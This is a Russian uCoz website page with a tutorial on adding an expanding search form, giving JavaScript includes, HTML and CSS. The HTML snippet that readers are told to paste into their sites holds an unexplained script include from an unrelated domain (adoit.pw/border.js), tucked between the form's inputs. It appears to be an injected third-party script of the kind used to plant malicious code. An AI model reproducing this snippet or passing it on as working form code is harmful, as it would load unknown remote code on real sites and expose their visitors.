Четверг
16.05.2024, 20:20
Сайт для друзей
Приветствую Вас Гость | RSS
Главная Регистрация Вход

Яндекс


Поиск по сайту
Не забудьте зайти в раздел"Регистрации".
Вам не трудно,а нам полезно.
С уважением администрация сайта.
Форма входа

Архив записей

Меню сайта


Праздники сегодняшнего дня

Памятные и праздничные даты в календаре России
 


 



Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
13:12
Создаём раздвижную форму поиска для uCoz
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Просмотров: 238 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Статистика

Онлайн всего: 6
Гостей: 6
Пользователей: 0

Кто на сайте


Сверим время
Перевальск

Друзья сайта
  • Создать сайт
  • Все для веб-мастера
  • Программы для всех
  • Мир развлечений
  • Лучшие сайты Рунета
  • Кулинарные рецепты
  • Песочная анимация
  • Песочная анимация2

  • Развлечения на uCoz





    анимационные картинки



    Игры, Фильмы, Сериалы, Музыка, Софт, Форум, Чат, Скрипты для ucoz, Программы, Статьи, Каталог сайтов, Баннеробмен, Помощь новичкам по созданию сайтов в системе ucoz, Статьи о заработке в интернете с сайтом и без сайтов, Сайты для заработка и многое другое...

    Allfilmonline.ru - Смотреть фильмы онлайн бесплатно


    Для владельцев Web-сайтов
    Поддержите сайт
    Разместите наш баннер

    у себя на сайте
    Копируй и вставляй

    Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    Яндекс.Погода
    ВСЕ МАТЕРИАЛЫ НА САЙТЕ ПРЕДОСТАВЛЕНЫ ИСКЛЮЧИТЕЛЬНО ДЛЯ ОЗНАКОМЛЕНИЯ,ПОСЛЕ ЧЕГО НЕОБХОДИМО ПРИОБРЕСТИ ЛИЦЕНЗИОННЫЕ ВЕРСИИ.
    Copyright MyCorp © 2024
    Конструктор сайтов - uCoz
    Проверить тиц